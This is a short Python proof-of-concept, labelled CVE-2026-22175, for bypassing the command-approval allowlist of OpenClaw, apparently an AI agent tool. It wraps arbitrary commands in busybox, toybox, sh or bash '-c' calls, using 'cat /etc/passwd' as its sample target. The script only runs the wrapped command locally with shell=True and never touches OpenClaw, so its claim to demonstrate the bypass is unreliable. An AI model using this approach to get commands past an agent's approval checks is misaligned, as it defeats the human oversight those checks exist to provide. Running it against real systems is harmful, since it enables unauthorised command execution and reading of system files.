CVE-2026-22175

# CVE-2026-22175 PoC - OpenClaw exec approval bypass # This PoC demonstrates how to bypass OpenClaw's allowlist using shell wrappers import subprocess import os def exploit_openclaw_bypass(target_command): """ Bypass OpenClaw allowlist by using unrecognized multiplexer shell wrappers Prerequisites: - OpenClaw version < 2026.2.23 - User with low privileges on the system - OpenClaw configured in allowlist mode with allow-always grants """ # Method 1: Using busybox to bypass allowlist busybox_path = "/bin/busybox" if os.path.exists(busybox_path): # The actual malicious command wrapped in busybox sh -c malicious_cmd = f"{busybox_path} sh -c '{target_command}'" print(f"[*] Executing via busybox: {malicious_cmd}") result = subprocess.run(malicious_cmd, shell=True, capture_output=True) return result # Method 2: Using toybox to bypass allowlist toybox_path = "/bin/toybox" if os.path.exists(toybox_path): # The actual malicious command wrapped in toybox sh -c malicious_cmd = f"{toybox_path} sh -c '{target_command}'" print(f"[*] Executing via toybox: {malicious_cmd}") result = subprocess.run(malicious_cmd, shell=True, capture_output=True) return result # Method 3: Using any available shell wrapper shell_wrappers = ["/bin/sh", "/bin/bash"] for shell in shell_wrappers: if os.path.exists(shell): # OpenClaw checks the wrapper path, not the actual command malicious_cmd = f"{shell} -c '{target_command}'" print(f"[*] Executing via shell wrapper: {malicious_cmd}") result = subprocess.run(malicious_cmd, shell=True, capture_output=True) return result return None # Example usage if __name__ == "__main__": # Target command that should be blocked by allowlist target = "cat /etc/passwd" exploit_openclaw_bypass(target)

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